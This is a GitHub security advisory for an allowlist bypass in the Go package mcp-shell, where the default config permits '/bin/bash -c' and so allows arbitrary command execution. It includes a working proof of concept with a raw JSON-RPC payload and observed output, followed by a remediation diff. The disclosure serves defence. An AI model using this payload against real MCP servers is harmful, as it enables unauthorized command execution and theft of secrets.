GitHub Advisoryadvisory · Go
GHSA-3x77-wg38-92r3 mcp-shell has a Secure Mode Allowlist Bypass via Default `/bin/bash` Executable
HIGH
Official page ↗
- Aliases
- CVE-2026-55581
- Ecosystem
- Go
- Packages
- github.com/sonirico/mcp-shell
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-1188, CWE-183, CWE-78
- Reviewed
- 2026-08-25
Affected packages
• Go github.com/sonirico/mcp-shell: < 0.6.0 → fixed in 0.6.0
Description
Summary
`mcp-shell` ships a default Docker configuration (`security.yaml`) that includes `/bin/bash` in the `allowed_executables` allowlist. The command validator (`security.go`) only checks whether the first token of the supplied command matches an allowed executable; it does not inspect or reject shell command-mode flags such as `-c`. As a result, any MCP tool caller can send `command=/bin/bash -c ` to the `shell_exec` tool and execute commands that are not in the allowlist — including `id`, `env`, `curl`, `wget`, and any other binary present in the container. The bypass works with the default Docker image, requires no authentication, and requires no modifications to server configuration. Successful exploitation gives the attacker arbitrary OS command execution inside the container as `mcpuser`.
Details
`mcp-shell` implements a *secure mode* in which command execution is restricted to an explicit allowlist of executables defined in `security.yaml`. The Docker image ships this file with the following entry:
```yaml
security.yaml (line 29)
allowed_executables:
• "ls"
• ...
• "/bin/bash" # Only allow if you trust the arguments
```
The comment itself acknowledges the risk, but the shipped default does not enforce any argument-level restriction. The validation logic in `security.go` is responsible for enforcing secure mode:
```go
// security.go:84-96
for _, allowed := range v.config.AllowedExecutables {
if v.matchesExecutable(executable, allowed) {
if err := v.checkBlockedPatternsAndCommands(command); err != nil {
return err
}
return nil
}
}
```
`executable` is derived solely from `parts[0]` after splitting the input on whitespace (`security.go:67`). When the command is `/bin/bash -c id`, `executable` evaluates to `/bin/bash`, which matches the allowlist entry. The `-c` flag and subsequent arguments are passed to `checkBlockedPatternsAndCommands`, which only checks for shell metacharacters (`|`, `&`, `;`, ``, `(`, `)`, `{`, `}`, `[`, `]`, `` ` ``, `$`, `\`, `"`, `'`) and a configurable list of `blocked_commands`/`blocked_patterns` — both of which default to empty arrays in the shipped configuration. The flag `-c` does not match any blocked metacharacter, so the check passes.
The validated command then reaches the executor:
```go
// executor.go:149-163
executable, args, err := e.parseCommand(command)
// ...
cmd = exec.CommandContext(ctx, executable, args...)
```
`parseCommand` splits the command string, yielding `executable="/bin/bash"` and `args=["-c", "id"]`. `exec.CommandContext` is invoked directly — no shell is spawned by the executor itself — but `/bin/bash -c id` is equivalent to a shell invocation, executing `id` outside the allowlist.
Data flow (source → sink):
| Step | Location | Description |
|------|----------|-------------|
| 1 | `Dockerfile:55` | `COPY security.yaml /etc/mcp-shell/security.yaml` — bundles vulnerable config into image |
| 2 | `Dockerfile:57` | `ENV MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml` — activates config by default |
| 3 | `security.yaml:29` | `/bin/bash` registered in `allowed_executables` |
| 4 | `main.go:84-102` | MCP tool `shell_exec` registered with required `command` parameter |
| 5 | `handler.go:34` | `command := request.RequireString("command")` — attacker-controlled input received |
| 6 | `handler.go:49` | `h.validator.validateCommand(command)` — validation called |
| 7 | `security.go:67-96` | `executable = parts[0]` matches `/bin/bash`; `-c` not blocked; returns `nil` |
| 8 | `handler.go:59` | Validated command forwarded to executor |
| 9 | `executor.go:163` | `exec.CommandContext(ctx, "/bin/bash", "-c", "id")` — sink: arbitrary execution |
PoC
Prerequisites:
• Docker installed and accessible.
• Repository source code checked out (build context is the repository root).
• `python3` available (for the automated PoC script).
Step 1 — Build the Docker image
```bash
docker build \
-f vuln-001/Dockerfile \
/path/to/mcp-shell-repo \
-t mcp-shell-vuln-001:latest
```
Step 2 — Run the PoC script
```bash
python3 vuln-001/poc.py mcp-shell-vuln-001:latest
```
The script sends three MCP JSON-RPC requests over stdio:
1. `initialize` handshake
2. `tools/call shell_exec` with `command="/bin/bash -c id"` — exploit payload
3. `tools/call shell_exec` with `command="id"` — control: direct invocation must be blocked
Expected output (exploit success):
```
[id=2] /bin/bash -c id response:
→ status='success', exit_code=0, stdout='uid=1000(mcpuser) gid=1000(mcpuser) groups=1000(mcpuser),1000(mcpuser)'
[+] PASS: uid= confirmed → /bin/bash -c via arbitrary command execution successful!
[+] control confirmed: 'id' direct execution blocked (allowlist behavior normal)
→ allowlist bypass /bin/bash -c only through the path occurs proven
```
Alternatively, using raw `printf` (no Python required):
```bash
printf '%s\n' \
'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"poc","version":"0.0.1"}}}' \
'{"jsonrpc":"2.0","method":"notifications/initialized","params":{}}' \
'{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"shell_exec","arguments":{"command":"/bin/bash -c id","base64":false}}}' \
| docker run --rm -i mcp-shell-vuln-001:latest
```
Observed MCP response:
```json
{
"command": "/bin/bash -c id",
"execution_time": "3.854555ms",
"exit_code": 0,
"security_info": {"security_enabled": true, "working_dir": "/tmp", "timeout_applied": true},
"status": "success",
"stderr": "",
"stdout": "uid=1000(mcpuser) gid=1000(mcpuser) groups=1000(mcpuser),1000(mcpuser)"
}
```
Remediation (patch guidance):
1. Remove shell interpreters from the default `security.yaml` allowlist:
```diff
--- a/security.yaml
+++ b/security.yaml
• - "/bin/bash" # Only allow if you trust the arguments
```
2. Add argument-level validation in `security.go` to block shell command-mode flags even when a shell interpreter is allowlisted:
```diff
--- a/security.go
+++ b/security.go
executable := parts[0]
+ args := parts[1:]
+
+ if isShellCommandMode(executable, args) {
+ return fmt.Errorf("shell command mode is not allowed in secure mode: %s", executable)
+ }
// Check if the executable is in the allowlist
for _, allowed := range v.config.AllowedExecutables {
...
}
+
+ func isShellCommandMode(executable string, args []string) bool {
+ base := filepath.Base(executable)
+ switch base {
+ case "sh", "bash", "dash", "ash", "zsh", "ksh":
+ for _, arg := range args {
+ if arg == "-c" || (strings.HasPrefix(arg, "-") && strings.Contains(arg, "c")) {
+ return true
+ }
+ }
+ }
+ return false
+ }
```
Impact
This is an OS Command Injection vulnerability (CWE-78). The `shell_exec` MCP tool is designed to execute only pre-approved executables; the bypass allows an attacker to run arbitrary commands present in the container image (`curl`, `wget`, `env`, `sed`, `grep`, `tar`, etc. — all installed by the Dockerfile) under the identity of `mcpuser` (UID 1000).
Who is impacted:
• Any operator deploying the official Docker image without modifying the default `security.yaml` is vulnerable immediately upon deployment. No custom configuration, no elevated privileges, and no prior authentication are required.
• MCP clients that interact with a vulnerable `mcp-shell` instance — including automated AI agents, LLM orchestration platforms, and CI/CD pipelines — may be leveraged to exfiltrate secrets, tamper with files accessible to `mcpuser`, or pivot further within the container's network.
• The `--network=none` flag used in the PoC demonstrates successful exploitation even with no network access; in production deployments with network access, the impact extends to data exfiltration and lateral movement.
**Concrete…
Related
Alias · CVE (1)
- CVE-2026-55581 mcp-shell is an MCP server for running shell commands securely, auditably, and on demand. vulnerability
References
- https://github.com/sonirico/mcp-shell/security/advisories/GHSA-3x77-wg38-92r3 web
- https://github.com/sonirico/mcp-shell/pull/16 web
- https://github.com/sonirico/mcp-shell/commit/f31377fce6ec31114e5a4398c0e5270552bce09f web
- https://github.com/sonirico/mcp-shell package
- https://github.com/sonirico/mcp-shell/releases/tag/v0.6.0 web